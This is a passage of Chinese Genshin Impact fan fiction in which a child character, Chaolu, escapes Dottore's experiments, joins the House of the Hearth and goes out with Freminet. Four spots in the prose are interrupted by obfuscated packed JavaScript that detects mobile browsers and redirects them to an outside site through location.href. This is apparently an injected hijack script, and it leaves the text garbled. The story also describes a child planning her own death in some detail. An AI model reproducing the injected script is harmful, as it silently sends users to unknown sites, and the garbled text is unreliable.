不如说,可以看看是她自尽的速度更快、还是他给她切除脑叶的速度更快?真到了那种时候……身体也只是可以随意摆弄的容器。 多托雷一边不带个人情感地想,一边向朝露伸出了手。 他的手很大,可以直接抓住朝露的脑袋,也可以完全包住她纤细的脖颈。这个红发黑眼的小女孩,性命将存在与他的一念之间。 * 你还在那个地方的时候,见到过居民是怎样捕捉鸟雀的。他们会在野外仅用一根木棍支起倒扣的竹筐,接着在竹筐下撒一些玉米粒或是摘来的小果子,当鸟雀循着食物的气味蹦蹦跳跳地进入竹筐笼罩的区域时,居民便会拉动绳子让木棍倒下。这样,即便反应过来的鸟雀扑扇着翅膀也飞不走了。 你现在就像是那只被竹筐盖住的鸟雀。这样想着,你很清楚自己的处境。 你打不过[博士],仅凭你自己,你无法离开这里。嘴唇微微张开,你将空气吸进肺腑又呼出,脑海中得出结论:现在,摆在你面前的只有两条路。一条是你立刻杀死自己,别管自己死之后躯体会受到怎样非人的对待,另一条是顺从面前的人,努力地在对方的所谓实验中活下去。 选择前者,你必死无疑;选择后者,你有一定可能性会在实验的过程中死去,也有概率会在实验结束后被列入废弃品的名单。如果你想活,你应该选择接受[博士]的实验的。 即便自己已经得出了后续会如何发展的结论,你漆黑的眼睛仍看着面前不断向你靠近的人,你仍在周旋、用自己的体型、用自己预测到的攻击方向——如果他想用攻击把你包围,那就来试试好了。哪怕是全身裸露出的皮肤都被对方带动的气流刮伤,只要不落到他的手里,你会自己撞到那些攻击上的。 抱歉、好像不需要抱歉,你给自己选择了必死无疑的路。既然受害者是你,你会对自己说“没关系”的。可能这不符合你根据当下情形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16319005|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所得出的生存的“最优解”,但你当时已经拒绝了让自己成为实验体的要求。 所以现在,就算会迎来死亡,你也不会背弃那个自己做出的决定的。 你的选择应当发自你的本心,你所做出的选择应该能让你接受,你的意志应当被你贯彻,你那被人视如草芥的尊严应当由你捍卫。 - 从你破损的伤口中流出的鲜血“滴滴答答”地滴落到地面上,你呼出一口气,知道自己撑不了多久了。操纵玉佩的手腕翻转,你决定是时候结束了。 下一次,玉佩发出的水刃将割开你的喉咙。如果割得不够彻底、只割了一半要死不活“呼哧哧”地喷出血来就麻烦了,万一真被[博士]救得回来。既然已经决定,最好的结果是水刃平滑地从你的脖子上割开,你的头颅“骨碌碌”地滚到地上。 据说很久之前,有人认为人类思考的器官是心脏,但比起心脏,你认为还是你的脑子更重要。明明将要赴死了,你还有闲心胡思乱想,一边眼睛盯着[博士],一边不顾自己已然因为驱使法器而发痛的脑子面不改色地让玉佩存储更大的力量。 一击,必中。这样才可以。忽然之间,困意袭上你的心头,你的眼皮变得沉重起来。 ……是空气。这里的排气系统有问题。少量的、多批次掺杂的气体,直到在你的体内积累出质变的剂量。知道自己不会在这种情况下发困,你强撑着注视[博士]嘴边的那抹不明显的弧度,很快想出了原因。 如果你是[博士],如果你需要抓捕你的实验品,你也不会只做一手准备的。明面上要亲自来抓你,还很有耐心地没有出动其他人和机械陪着你玩猫捉老鼠的把戏,看你以为自己拖延到了时间能多活一会儿,实际上对方同样在拖时间等着尘埃落定的时刻到来。 双管齐下啊。你在心里感叹,会有更多的准备吗?在死之前,你能找到他的第三层托底的网吗。 视线里[博士]的笑意忽然拉大,唇线的末端高高挑起,你明白,他知道你发现空气的问题了。“你真的很不错,起码,是第一个这么早发现这里气体有问题的。”他状似惋惜地对你说:“也许你能活下来呢,何必挣扎着死去。”活下来,成为生死全凭别人掌握的玩意。 转眼间贴到你身前的他抓住了你托着玉佩的手,“嗵”的一声,玉佩掉在地面上,发出清脆的声音。 ……以为,不让你操纵玉佩就能完完全全地抓住你了吗。你对着他猩红的眼睛同样扬起嘴角。 你发誓,你从来没笑得这么张扬过。至少,从你有记忆以来没有。 有着薄荷蓝发色的男人看着你眯起眼睛,正要说什么,外面忽然传来“嘭——”的碎裂声,打断了他要说的话。 你转过头,看到困住你的透明墙壁被一把红黑色镰刀打破,高挑的人影映入你的眼帘,如同神明。 48.枫丹篇-17 之后发生了什么?你不知道。 在[博士]松开你的手转而去与那位你并不熟悉的菲米尼他们口中的“父亲大人”对峙时,你越发困倦,如同啄食的麻雀般脑袋一点一点的,一个不注意便身体向前倾倒。 ……摔到地上一定很痛。不过没关系,你痛苦的时间也就剩这么一点了。眼前的视线模糊,你闭上双眼,准备迎接那个自己跌落到地上的瞬间。就这样结束也可以,就是你大概要失约了。 抱歉,答应了菲米尼今天要去布法蒂公馆的,但你可能做不到赴约了。这是你脑海里的最后一个清晰的念头。 模模糊糊间,你意识到自己已经倒了下去,却没有摔到冷硬的地面上,而是落入了一个熟悉的怀抱。“你安全了,睡吧。”你好像听到有人这样对你说。 ……安全了,吗……听上去还真是让人羡慕的说法。心头涌起莫名的安心感,你动了动手指,切断了自己与玉佩的联系,同时把那个给玉佩不断灌入能量、直至把你炸成飞灰的打算也一并切断。 是的,给玉佩注入过量的能量,在自己的身侧引发爆炸,这就是你的打算。在很久很久之前你就想过,如果有一天你必须面临死亡,你希望能够死在自己的手上。 毕竟,生和死是一对孪生词,你既然没有办法选择自己的生,起码得能够选择自己何时的死吧,你心中的天平就是这么说的。你的天平不偏不倚,当你失去了什么,你就得获得什么才行。至于是否等价……那就是之后的事了。 能放上天平托盘的不一定是实物,也不一定是大众眼里明码标价的东西。比如当天平的一侧放置的是你的怒火与不甘,那么另一侧应该放置何物才能等价?举个例子,就像你心心念念的、走了五公里路又把自己攒的所有私房钱都花光了才买到的冰淇淋被人撞到了地上,你该选择要回一个新的冰淇淋,还是从对方身上同样夺走他重视的东西? 听说在欧庇克莱歌剧院里曾审判过一起案件,是一个悲痛的失去了自己女儿的父亲把贵族状告,贵族不以为然地说那他就赔一个自己的孩子的命好了。 啊啊……要怎么才能释怀?要怎么才能让心里的怒火平息?在一切结束之前,你会从他身上收割回你所认为的等价的情绪的。至于其他人是否认可你的解决方式,你不在乎。 胡思乱想了一大堆有的没的,你的意识沉沉归于黑暗。 - 菲米尼伸出双手,接住倒下的朝露。往日总是微抬起头用那双仿佛能洞察人心的黑眸无声注视着他人的小女孩闭上了她的眼睛。 很轻,是会让人怀疑朝露有没有照顾好自己的程度,壁炉之家里与她同岁的孩子都不止这个重量,似乎一阵吹来的风都能把朝露吹跑。只有在这种时候,才能让人深切的意识到原来她也只是一个未满十岁的孩子。 却已经要接受风雨的洗礼。 “菲米尼,我们该走了。”有着精致脸庞却不爱笑的猫耳少女脚步轻盈地来到沉默的淡金发少年身边,平静地提醒。 接下来是父亲大人和[博士]大人的交锋,是愚人众执行官之间的对峙,他们不该留在这里。这样想着,琳妮特长长的眼睫垂下,却觉得自己眼前依旧是满身都是伤痕的朝露倒下的那一幕。 毫不夸张地说,那一刻,琳妮特听到自己的心跳漏了一拍。耳边像是忽然一片寂静,又好像有很多人在背景里说话,只是什么都听不清;脑子里好像一片空白,又像是被塞了一大个毛线球,怎么找也找不到线头。 ——她忍不住问自己:这真的不是一场梦吗?这真的不是,一场噩梦吗。否则她怎么会看到朝露这副模样?朝露应该永远看似对什么都不上心、但是又能在细微之处发现她的温柔的,朝露应该沐浴在暖洋洋的阳光下打着盹,那才是她该有的样子。 如耳鸣,似脑胀,最后琳妮特脑子里呈现出的念头出乎意料的简短又清晰。如果当初,没有放朝露离开就好了。 如果再次相遇之后她把朝露关了起来,那么是不是现在朝露就不会以这副模样出现在她面前。仿佛有人拿着针往脑子里扎,琳妮特不由蹙起眉,漂亮的紫色眼眸敛下,脸上露出一副痛苦的神色。 像是有野兽在心里撕咬,琳妮特听到了自己不同的声音。一个她在叫着不要放她离开,要把朝露留下来,留在壁炉之家,留在她的身边;另一个她却似乎在轻而浅地笑,吐露出的话语如同蛇的信子般冰冷,把朝露杀了吧,她的话语蛊惑人心,这样她就不用再痛苦,朝露也可以永远留在她身边。 琳妮特本来不会这样的,她接受过严格的训练,她知道她要以任务为上,知道自己的身份,知道她和林尼、菲米尼的生命都有可能在任务中失去,也早就做好了准备。 但是,过去心心念念的人忽然重新出现在自己面前,轻而易举地动摇了琳妮特原本的心理防线,一退再退。 该爱吗?可如此痛苦。该恨吗?却依然希望朝露能重新醒来,希望朝露一生平安顺遂。 模模糊糊间,琳妮特感受到自己在被父亲大人注视。那道视线带着沉甸甸的重量,又带着不用抗拒的威严,让琳妮特一下子清醒过来。 她知道的,父亲大人。她知道自己现在应该做什么的。琳妮特无声地向阿蕾奇诺所在的方向俯首,而后向菲米尼走去。 * 那日,阿蕾奇诺和[博士]交流了什么犹未可知。但从那天开始,朝露就留在了壁炉之家。 所有人都知道,朝露终有一天会离开这里。这位因为父亲大人的出手才从[博士]大人手中存活的小女孩从来没有掩饰过她会离开的念头。 如果离开了,她会去哪呢。她有什么地方可去的呢。有的时候,看着朝露的身影穿梭于壁炉之家的各个角落,会是后厨、会是清洁、会是打头阵的前锋,会是留下来的扫尾,有时壁炉之家的其他人也会对朝露升起好奇心。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16338400|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 朝露能去哪里?他们都知道,会进入壁炉之家的,全是没有家的孩子。他们没有归宿,而这里给了他们一个庇护所。就算对他们有要求、就算可能在未来夺走他们的生命,至少此时此刻,他们因此而活。朝露她无家可归。 曾经在巡轨船上与朝露有过一面之缘的黄发少女看着朝露的身影,她的脸色不再是过去那般苍白,而是多了几分血色,但那双漆黑的眼睛依然不变,只是看着就足够让人清醒。 真奇怪,难道朝露上辈子是一只没有脚的鸟吗?所以这辈子必须一直地飞。闲暇时间里,黄发少女根据自己从各种地方看来的故事暗自猜测,或者说朝露的骨子里埋着蒙德那边的血统,所以总是想着追寻自由? 不过再怎么说,这都是朝露自己的事情啦。只要父亲大人同意,黄发少女、乃至于壁炉之家里的每一个人都不会对朝露的离开说些什么。只是,假如父亲大人不同意,那么毋庸置疑,这就是背叛——到那时,谁都不会手软。 至少此刻,朝露还没离开的时刻,他们仍是[同伴],仍是[家人]。 - 你醒来之后,发现自己来到了壁炉之家。不需要别人说太多,你明白自己的处境——那位阿蕾奇诺女士从[博士]的手中保下了你,而你需要偿还这份“代价”。 从菲米尼的口里,你得知了那天他们会出现在那里的原因。是你。 * 一开始的菲米尼和琳妮特在布法蒂公馆等着朝露敲响公馆的门,他们把茶水放上壁炉温煮,又准备了几种大众口味的小点心等着你上门。然而,在等到朝露之前,他们先等到了父亲大人。 身着灰白色燕尾服、有着一头灰白色长发的阿蕾奇诺忽然出现,那双虹膜漆黑、瞳孔呈红色×形的眼睛扫过他们:“在等朝露吗,你们等不到她了。”菲米尼和琳妮特还没来得及向父亲大人问安,就听到了她平静的话语。 这话、是什么意思?菲米尼和琳妮特齐齐愣住。菲米尼想到的是,难道朝露的那对父母把她找了回去吗?朝露会重复被自己的父母卖给其他人的命运吗。琳妮特想到的是,朝露是被坏人抓住了吗?等不到朝露,那朝露是自愿的吗。 “想见她的话,你们可以跟上来。”看着自己的两个孩子呆呆的表情,阿蕾奇诺不动声色地说,接着转身朝门口走去,黑色的高跟鞋在地上敲出声音。 !父亲大人的意思是……!他们立刻跟了上去。 不出意外,壁炉之家将会迎来新的成员。无处可归的孩子,陷入苦难的孩子,壁炉之家从不拒绝。 - “父亲大人知道很多事情,不要想着隐瞒、也不要认为自己能骗过父亲大人。”菲米尼这样叮嘱你。于是,你再次见到阿蕾奇诺的时候,和这里的其他人一样,对着她低下了头颅,耳边是其他人坚定的声音 “父亲大人”。 阿蕾奇诺大人,好神秘的人。你眨了眨眼。 49.枫丹篇-18 因为别人救了自己一命,于是决定永远跟随别人、为别人赴死也心甘情愿在你眼里无疑是一种愚蠢的行为。 如果说重视自己的生命,所谓的救命恩人相当于给了二次生命,因此对其予取予求……好像也勉强说得通?只是之后又为别人而死的行为让你有点捉摸不透——不太恰当的比喻是,你弄丢了自己视为家人的从小一起长大的狗狗,心急如焚、寝食难安。而有人找到了狗狗给你送回来,你大喜过望,为了感谢他最后把自己的狗狗送了出去。 这样的行为逻辑,想不明白。对狗狗的主人来说,在狗狗走失之后就算狗狗被找回来,他持有狗狗的时刻因为随后又把狗狗送了出去,便也只有那短暂的时刻,在时间的刻度上无限缩成一个小点。既然如此,狗狗有没有找回来也无关紧要,最后的归属都不再属于他。 在乎吗?食不下咽、夜不能寐,应当是在乎的。 想活吗?濒死之际虔诚地祈祷、决意付出一切也要活下去的决心,应当是想活的。 可偏偏结果违背了初衷。 难以理解。 如果认为自己的生命宝贵、只有以生命才足以回报对方救下自己的恩情,就会违背底层逻辑;如果视自己的生命为草芥,就是把自己都不想要的东西塞给救命恩人?这就是人类的报恩方式吗。又或者并非这样的线性,对自己的认知始终在这两种极端情况里徘徊……变量有点太多了。 - 你不会这样做的,不会因为被救了一命就掏心掏肺地献出自己的一切。在你的眼中,万物皆可量化。情感,物质,环境,生命,筹码。天平会称量出重量,你要做的就是让它平衡。 去考虑时间成本、布局所花费的心力、谈判中拉扯的交易——虽然没能亲耳听到阿蕾奇诺女士和[博士]的交流,但也可以大致估算出一个范围。情感无形,这些实物却切实存在。 你应当遵循的是不让阿蕾奇诺女士在这有关于你的交涉中吃亏,并依照“先用后付”的原则予以适当的补偿。至于其他的,未免太不负责了。 想当然地认为被救了就把自己的性命交了出去,让对方来背负自己生命的重量,忽略了对方的意愿。人心是有负重的,过于轻会随风飘走,过于重会被压垮,你没有打算成为引发雪崩的最后一片雪花。 * 你和那位优雅的阿蕾奇诺女士做过约定,用你为壁炉之家效力五年,来抵消从[博士]手下把你带出来的恩情。 你眼睛也不眨地同意了。五年,对你来说确实有点漫长,不过也还可以。起码不是一眼就望到头的未来。于是,你时常在壁炉之家里做帮工,时常在专门的研究部打下手,时常接受统一的训练然后又被分派任务,时常在隐蔽处接应同伴,时常清理血迹与打扫战场。慢慢地,照顾新来的小孩子、带新人也成了你日常的一部分。 有口不能言的你:…… 也不是不能接受。如果是你的话,大概也会这样不断测试劳动力的能力然后实现效益最大化的。或许你应该感到高兴,这些安排起码没有把你的生活挤压的满满当当,在下午茶时间和围炉夜谈这种放松的环节也有把你含括在内,你闭上眼睛自我安慰。 “朝露,我们出去走走吧。”你正享受自己难得的没有工作安排的悠闲时光,一个声音忽然响了起来。 无需再用眼睛确认,你知道是菲米尼。从椅背上捞起单薄的外套,天气逐渐转冷,虽说你已经经受过壁炉之家的严格训练,还是添件衣服比较好。 你把外套披在身上,走到菲米尼的身边。没有说话,也没有借助纸和笔交流,你用行动坦诚无二地回应着对方的邀请。见到你走在身边,脸上有着雀斑的少年露出小小的笑容,和你一起走到门边,伸手为你拉开了门。 - 朝露真的很厉害。 这是菲米尼在朝露进入壁炉之家并接受一系列训练又游刃有余地来回穿梭在各项任务中后对这个小女孩的评价。 大概是营养跟上了,小小的女孩长高了一点,脸上也多了一些肉,可总体看起来还是小小的一颗团子。漂亮的红发被编织成好看的发型,和过去相比更多了蓬勃的活力。 朝露做得很好,好到无可指摘。菲米尼垂下眼帘,回想起围绕在女孩周围对女孩露出笑脸的小孩子,回想起琳妮特饶有兴致摆弄朝露的头发和着装的神情,回想起父亲大人提及朝露时似有若无的欣赏。 这不是他想要的吗?菲米尼问着自己,这应当就是他想要的。朝露和壁炉之家牵扯上关系,她不会永远留在这里,因为这段关系哪怕离开了也不会轻易与壁炉之家为敌,明明这就是他一开始想要的没错,淡金色发少年的手抚上自己的心脏,可是为什么,这么想的时候,心里会空落落的呢。 他苍蓝色的眼睛里不知何时浮现出茫然,又被这位少年掩藏的很好。 没关系,他会用自己的方式实现他想达成的目的的。菲米尼一边这样对自己说,一边一次又一次地对那个似乎被众人接纳、又自己走向孤身一人的小女孩伸出手。 人终究不是机器,就算是机器,也需要时不时地涂抹机油、检查与更新零件的情况、和填充能源才能继续运行的。 通过之前的接触,朝露喜欢和他在枫丹廷里一起散步。对此,菲米尼确信着。朝露是喜欢的,他也……不排斥。 如果现在不能给出答案,那就继续观察、继续探索,直到答案浮出水面。 * 你和菲米尼不是第一次结伴外出,这次,也不会是最后一次。 如果是你,你会买点吃的,然后登上巡轨船,把一整天的时间都挥霍在去往不同的地方上。你可以体验周围的事物一寸寸离你而去的由慢到快的流转感,也可以顺着船只抵达枫丹廷外,随便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16357568|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找个无人的草地,看各色的鸟飞过和落下。 你喜欢坐上船后仿佛穿梭的感觉,就像是你走得很快,以至于把其他的东西都抛到身后。如同你的人生,能够始终留在你身边的只有你的身体与你的灵魂。 如果是菲米尼,他多半会去贩卖自己制作的发条玩具,大概算是补货?你路过菲米尼的房间时,曾因房间里透过门缝的光线而转过头,看到了里面许多与发条玩具相关的东西。 你知道,菲米尼喜欢他的发条玩具,说起它们时,他的眼睛亮晶晶的。“不是我制造了佩伊,而是佩伊选择了我。”这位腼腆的少年是这样为你介绍他身边的那只发条企鹅的。 你不一定能够理解他对于佩伊的深沉情感,就像你可能不会放任自己沉湎于绘本里编出的童话故事,但你不会反驳他。喜欢发条玩具、喜欢绘本故事没什么大不了的,又不是什么需要你为他清扫痕迹的杀人放火的爱好——如果真是这种你大概才会有点头疼——不如说,你其实很高兴菲米尼能找到自己喜欢的东西。 不是为了生存,而是单纯地因为喜欢,这样的情感和事物都很珍贵。 唔……这么看来,你好像没有类似菲米尼的佩伊和绘本的东西。除了生存以外的事,你不常考虑。喜欢一个人四处溜达算吗?但不溜达自己待在房间里也可以。喜欢吃蒜香面包吗?没有的话土豆也可以。 非要说的话,也许是你对自我、对自由的追求?起码这是你愿意为此放弃生命的东西。 好奇怪。无形的东西拿来和有形的存在比较。喜欢这种情感也要放到天平上称量出孰轻孰重吗?可以,但没必要。 - 先买点东西垫垫肚子,再和菲米尼一起去补充他放到店里卖的发条玩具,这就是你们这次外出的主要行程。 来到咖啡馆,你的视线扫过造型好看的浮露白霜,毫不迟疑地掠过,选择了肉酱千层面。 肉酱千层面虽然名字有个“面”字,实际却是烤制而成的面食。在铺开的面皮上添加肉酱、奶酪和白酪,磨平后再放上一张面皮,接着不断重复加酱、加面皮的操作,直至最后一张面皮也被放上去,再把成品放到火上烤,烤到奶酪冒泡。 唔,用其他人的话来说,算是“十分美味又罪恶的料理”?吃下它相当于吃了多少热量什么的……你不关心这个,你只关心它确实好吃,一口咬下去,肉酱、奶酪的汁水和酥软的面皮在口腔中绽开,富有层次感又交相辉映的味道。 如果让你来做给自己吃,你大概会选择直接全部拌在一起、煮熟,吃掉这种略显粗暴的做法。不过出来品尝这样繁琐又简单的料理,倒也不坏。相比之下,被部分人推崇的浮露白霜在你的眼里,浓缩成了四个字:美丽废物。 主要由蛋清和酱汁做成的料理,大概确实只有一个好看的造型吧,至于味道……嗯,只能说,它也是有放糖的。 50.枫丹篇-19 不意外。 菲米尼的目光瞥过朝露选择的食物,又短暂地在朝露柔和的眉眼上停留,随后给自己点了一份泡泡舒芙蕾。 如果认真观察,还是能从朝露基本没有多少变化的脸上看出她对各种食物的偏好的。也许没有眼睛一下子亮得像天上的星星、嘴角扬起的弧度能够飞上天那么明显,但从眼角眉梢、唇线变化的一个像素点、还有整个人透露出的氛围,都能观察到朝露其实喜欢吃偏咸的食物。 某种程度上,算是一个重口味的家伙。不过,很可爱。吃到自己喜欢的食物的朝露,就像是一只刺都软和了的小刺猬,把自己柔软的肚皮露出来悠哉地晒太阳。菲米尼这样在心里想,面上不动声色地和朝露坐到座位上,等着烹饪好的餐食。 菲米尼曾经听说过人的几重追求什么的,大致把人划分为多少种类型、每种类型又代表着怎样的意思之类的。他对这些并不关心,只是当时有个孩子拿着翻出来的书来问他这是什么意思,磕磕绊绊给孩子当翻译的菲米尼也就顺便把这部分内容记了下来。 没记错的话,第一步是对衣食温饱的追求,接着再到个人尊严的追求……虽然这么说不太合适,但朝露似乎停留在了第一步,可能偶尔会窜到个人尊严的高台上?总的来说绝大部分时候都在第一层待着。 会下意识地寻找食物,菲米尼和朝露一起逛枫丹廷的这么多次,朝露鲜少有不直奔餐馆的情况;会下意识地存有一定量的食物又不至于过多,原本壁炉之家的厨房里偶尔会有食物堪堪见底再得到补充的现象,朝露接受之后存储的食物永远不少于三分之一。 啊,朝露当时表达的意思是这样的,[还好。根据壁炉之家的人口数据大致估算出每天的食物消耗,再依照已有的存量结合运输的时间并预留这个数的缓冲区……不算麻烦。]说是这么说,蔬果、肉类等的可保存时间都不同,朝露却把这些处理得很好。 这当然没什么。菲米尼偏过头用余光看着脸颊上多了点肉的朝露,每个人都会做出自己的选择,所谓的不同追求,也需要结合人的当下处境去看待。是锐意进取还是冲动莽撞、是知足常乐还是甘于平凡……怎样都好,只要是[家人],只要能活下来……其他的都不重要。 只要当第二天的黎明刺破云层,他们仍能相见。 没有父亲大人那种优雅的压迫气势,没有林尼和琳妮特那种双生子之间的配合与长袖善舞,更多时候都站在黑夜里充当影子和壁炉之家里的一颗螺丝钉的菲米尼并不会因此缺失自己应有的敏锐。即便不常说话,他依然会默默地收集到很多信息,依然会对这些信息进行分析又把结果埋在心里,冷不丁的吓大家一跳。 ——所以,朝露,这是你自己的选择,对吧?菲米尼会时不时地自己一个人潜到海底,他有很多一个人孤身在野外的时刻。他见过分布在各个地方的不同形态的丘丘人,见过丘丘人围着大火炉分享食物,见过丘丘人搭起围栏饲养小野猪。 在野猪还小的时候,让它明白围栏是它撞不开的囚牢、让它知道撞上去也没有自由,只会得到疼痛。这样,等野猪长大了,它也会乖乖地待在围栏里的,像它过去的无数个日夜那样。 菲米尼希望这只是他的错觉,尽管有的时候在他面前的朝露让他觉得自己似乎在看一只不知不觉被驯服的小野猪。 人不需要在意小野猪的想法,人需要的是小野猪乖乖长出一身膘,乖乖地成为盘中餐。从这个角度来看,菲米尼要的不多。他要的是朝露和壁炉之家结下羁绊,要朝露即便离开也无法轻易对壁炉之家下手。 ……可是,他做不到不在意朝露的想法。 当他和朝露一起走在街道上的时候,当他和朝露分享餐食和自己新做出来的发条玩具的时候,当他在夜晚跟佩伊诉说心事偶尔会提及朝露的时候,当微风吹拂过他和朝露的脸庞的时候,也许有那么一瞬间,他希望朝露能获得真正的幸福,他会希望朝露如同自己的红发一般,拥有耀眼夺目的人生。 尽管与此共同生长的,是菲米尼希望朝露能永远留下来的念头。 - 还冒着热气的肉酱千层饼摆放在面前,你拿起刀叉切开这份面食,从切面留下的白色芝士和酱汁散发出喷香的气息。 鼓动着腮帮子将放到嘴里的千层饼嚼烂又咽进肚子里,你的视线偏移看向旁边的菲米尼,正巧对上对方的目光,他像是被你忽然的视线吓了一跳,明显原本打算只是咬一口慢慢吃的泡泡舒芙蕾一下子被他囫囵吞了下去。 “咳咳咳——”你看到菲米尼弓起背咳嗽,有些无奈地放下刀叉,抬起手给对方顺气。 又不是什么大事,想看就看。你对别人的目光向来不在意,只要不给你添麻烦,别人心里怎么想的你也不会在乎。喜欢你、或者讨厌你?那又如何。起因、动机、实施手段、产生结果的一大堆,什么都关注,那你什么都不用做了,搬个小凳子坐在门口就是一天。 你知道的,人是活在一双又一双的眼睛下的。当你决定自己一个人生存的时候,如何处理别人的视线就成了你必须面对的问题。有的明显、有的隐蔽,有的满是好奇、有的夹杂恶意……你接纳着这些从四面八方投射而来的视线,连带着里面裹挟的情感也一同接纳。 想和做有关联,但实实在在的是两回事。你可以因为别人的所想而警惕戒备,却不会率先越界。你从别人的视线里分离出对方的意图,又轻描淡写地将之抛到脑后。某种程度上来说,只要不对现实产生影响,你就不会在意。 唔,不过好像和你对视的人会很在意。壁炉之家里扒着门边向你张望的小孩子是这样,偶尔偏过头看你的菲米尼也是这样。小孩子还能一窝蜂地作鸟兽状散开,菲米尼倒是被你捉了个正着把自己呛到。 你其实真的不介意别人怎么看你的,嗯,最好不要抱着坏心思。而菲米尼每次暗中观察你又忽然和你对视都会被吓一跳,你都有些纳闷:怎么做到的?直到现在都还会被吓到,你回望的目光又不是带电。 这就是书上说的吃一堑吃一堑又吃一堑吗,也算涨了见识。一边给菲米 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16376393|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尼顺气,你一边发出这样的感叹。 * 当你吃完你的那份肉酱千层饼,菲米尼才吃了几个泡泡舒芙蕾,剩下的还有一大半。微垂下眼帘,你看着那些挖空了泡泡桔在里面填充上甜点的小甜点,屈起手指敲了敲桌子,通过应声而来的服务员支付了餐费。 你知道的,比起你出来玩的时候喜欢吃得五六分饱再逛,菲米尼更多的是类似于吃小零食?简单来说比起和你一起来吃东西,更像只是来起个陪伴作用的,让他选的话往往也是选适合携带与保存的,这样可以在之后的路途中拿出来投喂你,或者留到回去分给壁炉之家的孩子们吃。 好像有点问题,又好像没有问题。论相处模式这种东西……只要双方都没有异议就可以了吧。强行要求所有事情都按自己的设想发展并为其赋予意义,只是个人的一厢情愿。没有坏影响,那就都无所谓。 于是,付过摩拉的你和手上拿着打包好的泡泡舒芙蕾的菲米尼一起走出了餐馆,此时天色露白,没有往日连绵的雨。 有妇人牵着自己的狗路过你们,也有警备队员在路边巡逻。你和菲米尼就这样并肩走在前往下一个目的地的路上。 - 这大概也算是天平的等价。你不期然地想,先是由菲米尼陪你去你想去的餐馆,再到你陪菲米尼去他感兴趣的机关零件的售卖点,很公平。 你站在旁边,安静地听着菲米尼把自己带来的发条玩具交给店主,又有菲米尼选择零件的细微声响响起,默默地放空了自己的脑子。 你想起了自己房间里的那个发条小鸟,通身由黄色浇筑而成,有着可摆动的翅膀,只要转动发条就会一边扇翅膀一边发出“布谷布谷”的叫声。噢,没记错的话这个扇翅膀的功能还是可选项。 尽管你当时十分茫然,满心都是对这个东西究竟能作用在哪里的疑惑,你还是从菲米尼的手里接过了它,它也没有辜负你的期望,很快就成了你房间里的一大摆件。回想到那段往事,你不由虚起了眼睛。 虽然还没有成年,但有的时候和其他人相处的过程中,你难免会生出一种“我是不是已经跟不上这个时代的浪潮了”的感觉。简单来说就是,你觉得你老了。 在你追忆往事等着菲米尼重新走到你身边提醒你该离开了的时候,你忽然听到背景里传来嘈杂的声音,像是有人在争吵。 嗯?你的耳朵动了动,抬起眼睛,发现菲米尼跟前站了个衣着华贵、脸上戴了个单边眼镜、还留有两撇小胡子的男人。 来者不善。 你抬起脚走到菲米尼身边,似是不经意地把淡金色发的腼腆少年挡到你的身后,自己去面对男人那过分傲慢的声音。 “……你们要给我道歉,这个小鬼还要跪下来把我的鞋子给擦干净。”当你去听的时候,只来得及听到这样一句话,其中还夹杂着店家的道歉与试图息事宁人的声音。 你眨了眨眼,一时之间怀疑自己是不是听错了——真的会有这么明显的就差在自己脸上写明“坏人”的家伙吗。 51.枫丹篇-20 真的会有挑事都这么明显的人吗?你歪了歪脑袋,从面前人棕色的卷发看到他同色的眼睛,从他身上紫色的衣裳看到领口处层层叠叠的白色布料,找不出这个问题的答案。 在“会不会”的问题里,确凿的答案只有“会”和“不会”,没有第三个犹疑的选择;但在证明的过程中,可以有很多的证明方法,不同的方法、不同的人、不同的变量,也许就会得出截然不同的结果。就算同样的结果,也有可能产生两种相反的结论。 在主观的感受里寻求客观的标准,是不是有点太过荒唐?你对“挑事”的定义又是什么。 轻呼出一口气,你把脑海里纷繁的思绪挥去,漆黑的眼睛仍凝视着这位额前留着一缕特别卷发的男性,对方的嘴开开合合,像一只聒噪的鸟一般叽叽喳喳个不停。他说的什么你没在意,也就是那些彰显自己身份尊贵的华丽辞藻、你们又是做出了怎样的冒犯之类的。 